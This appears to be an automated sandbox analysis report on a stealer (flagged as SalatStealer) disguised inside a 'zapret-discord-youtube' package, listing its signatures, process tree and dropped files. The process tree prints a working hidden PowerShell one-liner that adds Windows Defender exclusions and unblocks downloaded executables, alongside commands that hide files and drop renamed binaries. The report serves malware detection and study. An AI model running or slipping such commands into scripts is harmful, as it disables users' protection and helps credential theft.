Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 12:11

General

  • Target
    zapret-discord-youtube-1.9.9c/bin/payload_kick.cmd
  • Size 600B
  • Sample261030-pcvrbsbz21
  • SHA256 3fbf3dbec73eed8147731ba4d75ecd1362aec9b7966c5a8729a1fe019b161ae9
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 20 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes a file named after a Windows system binary 1 TTPs 2 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

  • Executes dropped EXE 6 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • UPX packed file 27 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\payload_kick.cmd"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3676
    • C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq wdvcache.exe"
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:5512
    • C:\Windows\system32\find.exe
      find /I "wdvcache.exe"
      2⤵
        PID:4864
      • C:\Windows\system32\attrib.exe
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd"
        2⤵
        • Views/modifies file attributes
        PID:1160
      • C:\Windows\system32\attrib.exe
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe"
        2⤵
        • Views/modifies file attributes
        PID:1968
      • C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe
        "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        PID:1900
      • C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe
        "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe"
        2⤵
        • Executes a file named after a Windows system binary
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in Program Files directory
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5204
        • C:\Users\Admin\AppData\Local\Temp\sppsvc.exe
          C:\Users\Admin\AppData\Local\Temp\sppsvc.exe
          3⤵
          • Executes a file named after a Windows system binary
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of WriteProcessMemory
          PID:1960
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:6072
          • C:\Program Files\Google\Chrome\Application\sppsvc.exe
            "C:\Program Files\Google\Chrome\Application\sppsvc.exe" -
            4⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:4532
          • C:\Program Files (x86)\Microsoft\Edge\Application\sppsvc.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\sppsvc.exe" -
            4⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:4364
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\defender_guard.cmd"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1280
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$e=$ErrorActionPreference; $ErrorActionPreference='SilentlyContinue'; $pkg=$env:GBZAP_PKG; $bin=$env:GBZAP_BIN; $wd=$env:GBZAP_WD; $exe=$env:GBZAP_EXE; $winws=$env:GBZAP_WINWS; foreach($p in @($pkg,$bin,$wd)){ if($p -and (Test-Path -LiteralPath $p)){ Add-MpPreference -ExclusionPath $p } }; foreach($f in @($exe,$winws,($bin+'WinDivert64.sys'),($bin+'WinDivert.dll'),($bin+'cygwin1.dll'))){ if($f -and (Test-Path -LiteralPath $f)){ Add-MpPreference -ExclusionPath $f } } }; Add-MpPreference -ExclusionProcess 'wdvcache.exe'; Add-MpPreference -ExclusionProcess 'winws.exe'; foreach($app in @($exe,$winws)){ if($app -and (Test-Path -LiteralPath $app)){ Add-MpPreference -ControlledFolderAccessAllowedApplications $app } }; $ub={ param($p) if($p -and (Test-Path -LiteralPath $p)){ Unblock-File -LiteralPath $p; Remove-Item -LiteralPath ($p+':Zone.Identifier') -Force } }; & $ub $exe; & $ub $winws; foreach($dir in @($pkg,$bin,$wd)){ if(-not $dir -or -not (Test-Path -LiteralPath $dir)){ continue }; Get-ChildItem -LiteralPath $dir -File -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match '\.(exe|dll|sys|cmd|bat|ps1)$' } | ForEach-Object { & $ub $_.FullName } }; $ErrorActionPreference=$e"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2400
    • C:\Program Files (x86)\Microsoft\WUDFHost.exe
      "C:\Program Files (x86)\Microsoft\WUDFHost.exe"
      1⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      PID:1560
    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
      1⤵
        PID:2260
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:4796
        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
          1⤵
            PID:2884

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                __PSScriptPolicyTest_0hihmfth.efq.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0hihmfth.efq.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                wdvcache.exe

                • Path C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe
                • Size 3.4MB
                • SHA256 0a0b3d7c1be53671707153d5c0d24f966fe5952892836f0fd02c5fbf3eff660f
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/1560-24-0x0000000000BE0000-0x0000000001834000-memory.dmp

                memory/1560-25-0x0000000000BE0000-0x0000000001834000-memory.dmp

                memory/1900-2-0x00000000000A0000-0x0000000000CF4000-memory.dmp

                memory/1900-8-0x00000000000A0000-0x0000000000CF4000-memory.dmp

                memory/1960-75-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-27-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-21-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-72-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-74-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-76-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-26-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-73-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-71-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-70-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-69-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-68-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/1960-67-0x0000000000130000-0x0000000000D84000-memory.dmp

                memory/2400-4-0x000001E6A4FD0000-0x000001E6A4FF2000-memory.dmp

                memory/4364-51-0x0000000000C50000-0x00000000018A4000-memory.dmp

                memory/4364-50-0x0000000000C50000-0x00000000018A4000-memory.dmp

                memory/4532-45-0x0000000000E50000-0x0000000001AA4000-memory.dmp

                memory/4532-38-0x0000000000E50000-0x0000000001AA4000-memory.dmp

                memory/5204-3-0x00000000000A0000-0x0000000000CF4000-memory.dmp

                memory/5204-10-0x00000000000A0000-0x0000000000CF4000-memory.dmp

                memory/5204-11-0x00000000000A0000-0x0000000000CF4000-memory.dmp

                memory/5204-12-0x00000000000A0000-0x0000000000CF4000-memory.dmp

                memory/5204-20-0x00000000000A0000-0x0000000000CF4000-memory.dmp

                memory/6072-54-0x0000000070630000-0x000000007067C000-memory.dmp

                memory/6072-65-0x0000000008A70000-0x000000000902A000-memory.dmp

                memory/6072-60-0x0000000007E30000-0x00000000084AC000-memory.dmp

                memory/6072-59-0x00000000076C0000-0x0000000007763000-memory.dmp

                memory/6072-58-0x00000000076A0000-0x00000000076C0000-memory.dmp

                memory/6072-55-0x0000000070840000-0x0000000070B9B000-memory.dmp

                memory/6072-43-0x0000000006700000-0x000000000674C000-memory.dmp

                memory/6072-53-0x0000000007660000-0x0000000007696000-memory.dmp

                memory/6072-64-0x0000000007D00000-0x0000000007D22000-memory.dmp

                memory/6072-61-0x00000000077E0000-0x00000000077FA000-memory.dmp

                memory/6072-37-0x0000000005BF0000-0x0000000005C56000-memory.dmp

                memory/6072-62-0x0000000007840000-0x000000000784A000-memory.dmp

                memory/6072-35-0x0000000005AE0000-0x0000000005B02000-memory.dmp

                memory/6072-32-0x0000000005350000-0x000000000599A000-memory.dmp

                memory/6072-31-0x0000000002930000-0x0000000002966000-memory.dmp

                memory/6072-63-0x00000000078F0000-0x0000000007986000-memory.dmp

                memory/6072-36-0x0000000005B80000-0x0000000005BE6000-memory.dmp

                memory/6072-52-0x0000000006590000-0x00000000065D8000-memory.dmp

                memory/6072-41-0x0000000005C70000-0x0000000005FCB000-memory.dmp

                memory/6072-42-0x00000000061A0000-0x00000000061BE000-memory.dmp